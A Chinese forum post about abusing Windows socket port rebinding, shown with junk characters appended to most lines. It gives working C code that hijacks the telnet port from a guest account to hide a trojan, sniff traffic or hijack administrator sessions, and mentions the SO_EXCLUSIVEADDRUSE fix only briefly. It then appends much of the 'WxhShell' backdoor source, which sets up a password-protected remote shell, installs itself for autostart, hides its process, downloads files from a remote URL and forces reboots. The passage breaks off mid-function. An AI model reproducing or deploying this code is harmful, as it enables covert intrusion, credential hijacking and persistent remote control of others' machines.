社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15844阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Gp.XTz#=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q&k1' nT5  
-L6YLe%w  
  saddr.sin_family = AF_INET; N0POyd/rL  
 D_D76  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y~'h/tjM@=  
\YZ7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TilCP"(6D  
E8LZ% N#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6dlV:f_\y  
Gtm|aR{OS  
  这意味着什么?意味着可以进行如下的攻击: z,+LPr  
6VQe?oh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 921m'WE  
M}Obvl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O+w82!<:  
5 >c,#*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W3M1> (  
5B)z}g^h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3X>x`  
O>tz;RU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,"xr^@W  
V\6V&_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ; VH:dg  
CEXD0+\q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ar[I| Q_  
Tfow_t}\  
  #include Z.$)#vM5  
  #include BufXnMh.  
  #include kwAL] kI  
  #include    QMQ\y8E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r Y#^C  
  int main() ^NB\[ &  
  { R[vA%G  
  WORD wVersionRequested; - xE%`X  
  DWORD ret; Po*G/RKu4W  
  WSADATA wsaData; ?? 2x*l1  
  BOOL val; $O[$<D%H  
  SOCKADDR_IN saddr; |]UR&*  
  SOCKADDR_IN scaddr; $s S;#r0  
  int err; sL",Ho  
  SOCKET s; 1{Kv  
  SOCKET sc; Muay6b?  
  int caddsize; WXmR{za   
  HANDLE mt; cME|Lg(J$  
  DWORD tid;   {?YBJnG}x  
  wVersionRequested = MAKEWORD( 2, 2 ); `"s*'P398  
  err = WSAStartup( wVersionRequested, &wsaData ); 3X:)r<  
  if ( err != 0 ) { :v Do{My^1  
  printf("error!WSAStartup failed!\n"); dc=}c/6x  
  return -1; x;@wtd*QB  
  } Ej#pM.  
  saddr.sin_family = AF_INET; |?\J,h  
   *m6h(8(7Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rUxjm\  
3k_bhK zI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +zL|j/q?  
  saddr.sin_port = htons(23); duq(K9S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W20H4!G  
  { oksAQnQe  
  printf("error!socket failed!\n"); L} Rsg'U  
  return -1; {Lg]chJq?  
  } ;%a  
  val = TRUE; r>,s-T!7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f=T-4Of  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I(Gl8F\c~  
  { Y9r##r+  
  printf("error!setsockopt failed!\n"); H[o >"@4  
  return -1; h6;vOd~%  
  } l#|wF$J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |6o!]~&e$1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pybE0]   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #<o=W#[  
!4vepa}Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ojG;[@V  
  { DcRvZH  
  ret=GetLastError(); |E?,hTRe5  
  printf("error!bind failed!\n"); 4r tNvf5`  
  return -1; zXZXp~7)  
  } ~kp,;!^vr  
  listen(s,2); i38`2  
  while(1) t$EL3U/(  
  { +aZcA#%  
  caddsize = sizeof(scaddr); T?k!%5,Kj  
  //接受连接请求 ,JqCxb9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B6-1q& E/  
  if(sc!=INVALID_SOCKET) SSn{,H8/j  
  { )N3XbbV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t b>At*tO  
  if(mt==NULL) FI8 vABq  
  { nw,XA0M3  
  printf("Thread Creat Failed!\n"); mkuK$Mj  
  break; ZbfpMZ g  
  } l>*L Am5  
  }  wzf  
  CloseHandle(mt); pB:/oHV  
  } 0Z1';A3  
  closesocket(s); A/sM ?!p>_  
  WSACleanup(); &HB!6T/  
  return 0; tRVz4fk[G  
  }   lnQY_~s  
  DWORD WINAPI ClientThread(LPVOID lpParam) K};~A?ET,h  
  { 1"S~#  
  SOCKET ss = (SOCKET)lpParam; P^^WViVX  
  SOCKET sc; Y+nk:9  
  unsigned char buf[4096]; ' '<3;  
  SOCKADDR_IN saddr; |crm{]7X  
  long num; L/xTW  
  DWORD val; !6FO[^h||H  
  DWORD ret; [79iC$8B|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;iO5 8S3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5kLz8n^z@@  
  saddr.sin_family = AF_INET; JXQh$hs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HlOn=>)<  
  saddr.sin_port = htons(23); +!cibTQTT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1b,MJ~g$  
  { 2#Du5d  
  printf("error!socket failed!\n"); NCivh&HR  
  return -1; dZ|x `bIgs  
  } V.}3d,Em%]  
  val = 100; YB]{gm2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L>&9+<-B  
  { c&'5r OY~  
  ret = GetLastError(); O39f  
  return -1; |ngv{g  
  } fL~@v-l#~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !g4u<7  
  { ymb{rKkN3  
  ret = GetLastError(); *h M5pw  
  return -1; PVaqKCj:6W  
  } 5S 4 Bz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VQ8Q=!]  
  { Jd28/X5&  
  printf("error!socket connect failed!\n"); Zg$RiQ^-{J  
  closesocket(sc); \p#_D|s/Ep  
  closesocket(ss); )x3p7t)#  
  return -1; 3c+ps;nh  
  } Ya;y@44  
  while(1) QxT\_Nej*n  
  { oVQbc \P3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >';UF;\5]Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9`tSg!YOh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |#ZMZmo{  
  num = recv(ss,buf,4096,0); W H%EC$  
  if(num>0) >e!Y63`  
  send(sc,buf,num,0); .'bhRQY  
  else if(num==0) IL{tm0$r  
  break; +-NH 4vUg  
  num = recv(sc,buf,4096,0); 6h7TM?lt  
  if(num>0) yJW/yt.l  
  send(ss,buf,num,0); r"!xI  
  else if(num==0) <UwYI_OX  
  break; sBa&]9>m  
  } |4rqj 1*U  
  closesocket(ss); ^$s&bH'8  
  closesocket(sc); y I}>  
  return 0 ; }H:wgy`  
  } LZDJ\"a-  
Y)2#\ F   
(qzBy \\p  
========================================================== hv*XuT/  
r7FpR!  
下边附上一个代码,,WXhSHELL 3.6Gh|7  
1D1qOg"LE  
========================================================== :!wl/X ~  
.Bojb~zt  
#include "stdafx.h" 0UhJ I  
0ax ;Q[z2  
#include <stdio.h> ZF@$3   
#include <string.h> Of>2m<  
#include <windows.h> \. a7F4h  
#include <winsock2.h> O9rA3qv B  
#include <winsvc.h> sGx3O i   
#include <urlmon.h> !oYNJE Y7  
 9XhcA  
#pragma comment (lib, "Ws2_32.lib") 3_"tds <L  
#pragma comment (lib, "urlmon.lib") o,RiAtdk  
w+$~ ds  
#define MAX_USER   100 // 最大客户端连接数 W3jwc{lj  
#define BUF_SOCK   200 // sock buffer c7D{^$L9 v  
#define KEY_BUFF   255 // 输入 buffer 7^<6|>j4  
3mhjwgP<nn  
#define REBOOT     0   // 重启 i,wZNX  
#define SHUTDOWN   1   // 关机 "c+$GS  
}#S1!TU  
#define DEF_PORT   5000 // 监听端口 "s}Oeu[  
/[!<rhY  
#define REG_LEN     16   // 注册表键长度 g(i8HU*{q  
#define SVC_LEN     80   // NT服务名长度 $LVzhQlD  
w?P ex]i{  
// 从dll定义API  uU=!e&3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mbns%%GJU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tj+U:#!!~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S]NT+XM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CSY-{  
R6TT1Ka3c  
// wxhshell配置信息 L tUvFe  
struct WSCFG { W#2} EX  
  int ws_port;         // 监听端口 "R"{xOQl  
  char ws_passstr[REG_LEN]; // 口令 aYM~Ub:x{  
  int ws_autoins;       // 安装标记, 1=yes 0=no )iid9K<HB  
  char ws_regname[REG_LEN]; // 注册表键名 7CH.BY  
  char ws_svcname[REG_LEN]; // 服务名 3taGb>15  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _bt9{@)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]Y@_2`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jVh:Bw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]D4lZK>H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tn9F g7<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !E|m'_x*  
hkdF  
}; FY`t7_Y?GV  
$%4<q0-  
// default Wxhshell configuration Cbp zYv32  
struct WSCFG wscfg={DEF_PORT, Qq'e#nI@  
    "xuhuanlingzhe", zB/VS_^^W:  
    1, o]]sm}3N  
    "Wxhshell", ) O&zb_{n  
    "Wxhshell", q[ 9N4nj$<  
            "WxhShell Service", r&IDTS#  
    "Wrsky Windows CmdShell Service", m6#a {  
    "Please Input Your Password: ", 'Va<GHr>+  
  1, &TL"Hd  
  "http://www.wrsky.com/wxhshell.exe", J *38GX+  
  "Wxhshell.exe" \(--$9  
    }; ,U)&ny  
8nWPt!U:  
// 消息定义模块 5nTcd@lX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !a25cm5ys  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Ms&WYN-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I;n <) >  
char *msg_ws_ext="\n\rExit."; 5{#s<%b.  
char *msg_ws_end="\n\rQuit."; =iH9=}aBFC  
char *msg_ws_boot="\n\rReboot..."; Mdh]qKw  
char *msg_ws_poff="\n\rShutdown..."; +v$W$s&b-h  
char *msg_ws_down="\n\rSave to "; d]:G#<.  
3V7WIj<  
char *msg_ws_err="\n\rErr!"; +TX4,"  
char *msg_ws_ok="\n\rOK!"; pjl>ZoOM  
RR's W@  
char ExeFile[MAX_PATH]; #c":y5:  
int nUser = 0; =:!>0~  
HANDLE handles[MAX_USER]; __zHe-.m  
int OsIsNt; bYZU}Kl;(  
_#MKpH  
SERVICE_STATUS       serviceStatus; ><S(n#EB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o 0T1pGs'  
&SNH1b#>E  
// 函数声明 sT "q]  
int Install(void); .Z#/%y3S  
int Uninstall(void); ec/>LJDX7  
int DownloadFile(char *sURL, SOCKET wsh); L62%s[  
int Boot(int flag); K|OPtYeb  
void HideProc(void); wX_~H*m?  
int GetOsVer(void); >2= Y 35j  
int Wxhshell(SOCKET wsl); e ;^}@X  
void TalkWithClient(void *cs); GgnR*DVP$  
int CmdShell(SOCKET sock); M< .1U?_#  
int StartFromService(void); ~mwIr  
int StartWxhshell(LPSTR lpCmdLine); Go^TTL   
>< >%;HZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \q3ui}-9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s~bi#U;dF  
~I9o *cq  
// 数据结构和表定义 p&5>j\uJ1&  
SERVICE_TABLE_ENTRY DispatchTable[] = y/kB`Z(Yj  
{ 0igB pHS  
{wscfg.ws_svcname, NTServiceMain}, q VI0?B x  
{NULL, NULL} =9W\;xE S  
}; }/h&`0z `  
t72rCq QC  
// 自我安装 8e^uKYR<  
int Install(void) k<M Q  
{ 7S^G]g!x  
  char svExeFile[MAX_PATH]; ^\kH^   
  HKEY key; SH#*Lc   
  strcpy(svExeFile,ExeFile); -(>Ch>O  
FvYciU!  
// 如果是win9x系统,修改注册表设为自启动 a s('ZD.9  
if(!OsIsNt) { L &hw- .Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >fth iA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s$? LMfT  
  RegCloseKey(key); t1"#L_<e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hvQXYo>TZx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %4Qs|CM)m  
  RegCloseKey(key); ipl,{  
  return 0; 6y1\ar(A  
    } E/*&'Osq  
  } cIG7 Q"4  
} "a}fwg9Y  
else { mF|KjX~s  
)7[#Ti  
// 如果是NT以上系统,安装为系统服务 2ZEGE+0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); erbk (  
if (schSCManager!=0) \G7F/$g  
{ =6O*AJ  
  SC_HANDLE schService = CreateService @6UZC-M0  
  ( >T c\~l  
  schSCManager, c#"t.j<E}  
  wscfg.ws_svcname, zH6@v +gb  
  wscfg.ws_svcdisp, ;,e16^\' &  
  SERVICE_ALL_ACCESS, B /w&Lo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F?05+  
  SERVICE_AUTO_START, t*-c X  
  SERVICE_ERROR_NORMAL, x#N_h0[i  
  svExeFile, RPte[tq  
  NULL, -`eB4j'7  
  NULL,  y1T(R#  
  NULL, g>;@(:e^/  
  NULL, vp.?$(L^@/  
  NULL ah_ >:x  
  ); J|DZi2o  
  if (schService!=0) -W<1BJE  
  { 5E"^>z  
  CloseServiceHandle(schService); M?L$xE_&  
  CloseServiceHandle(schSCManager); 9=3DYCk/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hV0fkQ.|  
  strcat(svExeFile,wscfg.ws_svcname); EG|dN(qh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { % @+j@i`&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QIevps*  
  RegCloseKey(key); 1JfZstT  
  return 0; 0Ci/-3HV!  
    } N$IA~)  
  } *B}O  
  CloseServiceHandle(schSCManager); R LMn&j|?e  
} e0(aRN{W  
} v=0G&x=/  
3Jlap=]68S  
return 1; 4oueLT(zc  
} 6hv.;n};  
Bt(<Xj D  
// 自我卸载 zxCx2.7  
int Uninstall(void) $7c,<=  
{ 3\Q9>>  
  HKEY key; ZV+tHgzlv5  
:v;U7  
if(!OsIsNt) { KXK5\#+L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dpsc gW{M  
  RegDeleteValue(key,wscfg.ws_regname); )7NI5x^$  
  RegCloseKey(key); dXQC}JA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F.5fasdX'  
  RegDeleteValue(key,wscfg.ws_regname); h]k $K  
  RegCloseKey(key); FE&:?  
  return 0; -~lq <M  
  } xk% 62W  
} 25-h5$s  
} megTp  
else { AH5;6Q  
htR.p7&Tn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p/VVb%  
if (schSCManager!=0) I 4?oBq  
{ 3oMHy5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZIc.MNq  
  if (schService!=0) _UP fqC ?  
  { o!K DeY  
  if(DeleteService(schService)!=0) { ""a$[[ %WC  
  CloseServiceHandle(schService); 9Pe$}N  
  CloseServiceHandle(schSCManager); U4 \v~n\  
  return 0; J;8 d-R5  
  } nWY^?e'S  
  CloseServiceHandle(schService); M?%x= q\<  
  } 9g5h~ Ma  
  CloseServiceHandle(schSCManager); = a60Xv  
} usD@4!PoA  
} -Z$u[L [c  
aE 9Y |6  
return 1; oq+w2yR  
} 3cL iZ%6^  
adX"Yg!`{c  
// 从指定url下载文件 !=,Y=5M,  
int DownloadFile(char *sURL, SOCKET wsh) -|uoxj>  
{ `>)Ge](oN  
  HRESULT hr; R=LiB+p  
char seps[]= "/"; ChG7>4:\  
char *token; jd-]q2fQ|  
char *file; -LszaMR}  
char myURL[MAX_PATH]; >VkBQM-%  
char myFILE[MAX_PATH]; @|DQZt  
0~^RHb.NA8  
strcpy(myURL,sURL); mQ"uG?NE  
  token=strtok(myURL,seps); pLtw|S'4  
  while(token!=NULL) 2icQ (H;  
  { e@W+ehx"  
    file=token; M lR~`B}m  
  token=strtok(NULL,seps); /z*Z+OT2  
  } O.(2  
+K`A2&F9  
GetCurrentDirectory(MAX_PATH,myFILE); _<F)G,=  
strcat(myFILE, "\\"); 4A!]kj 5T  
strcat(myFILE, file); jTcv&`fAz  
  send(wsh,myFILE,strlen(myFILE),0); ZDW=>}~_y  
send(wsh,"...",3,0); ;x/eb g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <4q H0<  
  if(hr==S_OK) V9BW@G@9  
return 0; z m$Sw0#(  
else V+O,y9  
return 1; 6~x'~T  
2]]v|Z2M4  
} P$#:$U @  
6D`n^uoP  
// 系统电源模块 nOL"6%q  
int Boot(int flag) =,#--1R7g  
{ d/&> `[i  
  HANDLE hToken; \}?X5X>  
  TOKEN_PRIVILEGES tkp; $0E+8xE  
}Pg}"fb^  
  if(OsIsNt) { ]2wxqglh)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #Or;"}P>fB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o6k#neB>=.  
    tkp.PrivilegeCount = 1; $z jdCg<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5?^L))  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x1.S+:  
if(flag==REBOOT) { :]m.&r S,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) + '_t)k^  
  return 0; LnI  
} rQVX^  
else { Mz(Vf1pi%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (O5Yd 6u  
  return 0; *{DTxEy  
} ZP<<cyY  
  } .+/d08]  
  else { yijP  
if(flag==REBOOT) { ro{!X,_$,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +1!iwmch>  
  return 0; Kf[d@ L  
} rR> X<  
else {  S=(O6+U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  mLxgvp  
  return 0; (?na|yd  
} }|kFHodo  
} k||t<&`Ze  
AAevN3a#nI  
return 1; vt|R)[,  
} g 4[Vgmh J  
!wfW0?eu  
// win9x进程隐藏模块 <h7cQ  
void HideProc(void) ,RV qYh(-|  
{ _{Kmj,q  
Cku"vVw,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -)`_w^Ox  
  if ( hKernel != NULL ) 5QMra5Nk  
  { %L+q:naZe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L=4+rshl!_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !mmMAsd,  
    FreeLibrary(hKernel); (90/,@6 6l  
  } _fHml   
lT^su'+bk  
return;  8s0+6{vW  
} <W"W13*j!  
O,Q.-  
// 获取操作系统版本 hJ}i+[~be  
int GetOsVer(void) j<B9$8x&  
{ vwU1}H  
  OSVERSIONINFO winfo; N T`S)P*?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'u7-Qetj  
  GetVersionEx(&winfo); gsk? !D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bO=|utpk  
  return 1; h+FM?ct6}  
  else &0F' Ca  
  return 0; `@/)S^jBau  
} t~) P1Lof\  
o}OY,P  
// 客户端句柄模块 wGc7  
int Wxhshell(SOCKET wsl) |1U_5w  
{ *2G6Q g F  
  SOCKET wsh; %=^/^[D  
  struct sockaddr_in client; NBYJ'nA%;f  
  DWORD myID; FlBhCZ|^  
FE~D:)Xj'?  
  while(nUser<MAX_USER) Z7;V}[wie  
{ _QPqF{iI  
  int nSize=sizeof(client); )>iOj50n3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FZr/trP~  
  if(wsh==INVALID_SOCKET) return 1; 9zu;OK%  
:!%VSem  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HZyA\FS  
if(handles[nUser]==0) oN7SmP_  
  closesocket(wsh); Z}J5sifr  
else oJ74Mra  
  nUser++; z0[XI7KK  
  } r )F;8(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h.jJAVPi  
4l$OO;B  
  return 0; |kYlh5/c d  
} >HP `B2Q H  
b(iF0U>&  
// 关闭 socket )kpEcMlR  
void CloseIt(SOCKET wsh) 'NEl`v*<P  
{ u^" I3u8$  
closesocket(wsh); \Z[1m[{  
nUser--; )6OD@<r{  
ExitThread(0); ?[ xgt )  
} Hr|f(9xA  
<^5!]8*O  
// 客户端请求句柄 2{-29bq  
void TalkWithClient(void *cs) bdg6B7%Q  
{ /( Wq  
zBF~:Uc`B  
  SOCKET wsh=(SOCKET)cs; u_(~zs.N]  
  char pwd[SVC_LEN]; ;tjOEmIiU  
  char cmd[KEY_BUFF]; "o5]:]h)  
char chr[1]; 36 "n7  
int i,j; cb}"giXQTB  
(Xd8'-G$m  
  while (nUser < MAX_USER) { ujU,O%.n  
Fc~G*Gz~Z|  
if(wscfg.ws_passstr) { _f1o!4ocx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ar`+x5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cHjQwl  
  //ZeroMemory(pwd,KEY_BUFF); )PX VR T  
      i=0; -'! J?~  
  while(i<SVC_LEN) { 77P\:xc  
<J/ =$u/  
  // 设置超时 ma.84~m  
  fd_set FdRead; i?x gV_q;  
  struct timeval TimeOut; "tJ+v*E  
  FD_ZERO(&FdRead); I |Oco?Q"  
  FD_SET(wsh,&FdRead); }Q\%tZC#T  
  TimeOut.tv_sec=8; q~ H>rC(\  
  TimeOut.tv_usec=0; x/*lNG/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oz) [ -  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "H-s_Y#  
dljE.peL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $R9D L^iD  
  pwd=chr[0]; gjS|3ED  
  if(chr[0]==0xd || chr[0]==0xa) { '!HTE` Aj  
  pwd=0; po| Ux`u  
  break; K@JZ$  
  } n6/Ous  
  i++; WyN ;lId  
    } 0dch OUj  
Z(mUU]  
  // 如果是非法用户,关闭 socket >Bt82ibN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xka REE  
} 1[FN: hm  
5^B79A"}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nV' 1 $L#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O2w-nd74U  
zF1!a  
while(1) { Abc{<4 z0?  
[9m3@Yd'  
  ZeroMemory(cmd,KEY_BUFF); AGlBvRX7e  
G@]3EP  
      // 自动支持客户端 telnet标准   Hfcpqa  
  j=0; Jj4 HJ9  
  while(j<KEY_BUFF) { ~k"+5bHa*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '6so(>|  
  cmd[j]=chr[0]; g'"~'  
  if(chr[0]==0xa || chr[0]==0xd) { #}`sfaT  
  cmd[j]=0; ~6G `k^!  
  break; R~vGaxZ$  
  } d$t"Vp  
  j++; Q:}]-lJg  
    } MpV<E0CmE  
/bo}I-<2  
  // 下载文件 ~ao:9 ynY  
  if(strstr(cmd,"http://")) { YQBLbtn6(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V6]6KP#D  
  if(DownloadFile(cmd,wsh)) [Vd$FDki  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X1j8tg  
  else DI C*{aBf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fvu{(Tb  
  } amBg<P`'_  
  else { !/FRL<mp  
7=^{~5#  
    switch(cmd[0]) { U3(+8}Q  
  =[B\50]  
  // 帮助 I/E9:  
  case '?': { .u-a+ac<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f ,F X# _4  
    break; Kk3+ ]W<  
  } p3s i\Fm!  
  // 安装 f ULt4  
  case 'i': { '{&Q&3J_  
    if(Install()) RSX27fb4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2t= = <x  
    else Ge^`f<f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H 4<"+7  
    break; @N*|w Kc+  
    } TnrBHaxbo4  
  // 卸载 r!:yUPv  
  case 'r': { xS*UY.>  
    if(Uninstall()) HsY5wC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -3Kh >b)  
    else 6o't3Peh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U4D7@KY +m  
    break; l;-Ml{}|0  
    } j G8;p41  
  // 显示 wxhshell 所在路径 Knwy%5.Z  
  case 'p': { O1c%XwMn^  
    char svExeFile[MAX_PATH]; N J3;[qJ  
    strcpy(svExeFile,"\n\r"); VotC YJ  
      strcat(svExeFile,ExeFile); DiFLat]X  
        send(wsh,svExeFile,strlen(svExeFile),0); 9+ 'i(q z  
    break; Lqgrt]L_"  
    } -TUJ"ep]QJ  
  // 重启 6VW *8~~Xy  
  case 'b': { ZW4f "  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e~)[I!n  
    if(Boot(REBOOT)) 3>O|i2U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ug3\K83aj/  
    else { 09kR2(nsW/  
    closesocket(wsh); ww2mL <B  
    ExitThread(0); ztp|FUi  
    } e@D_0OZ  
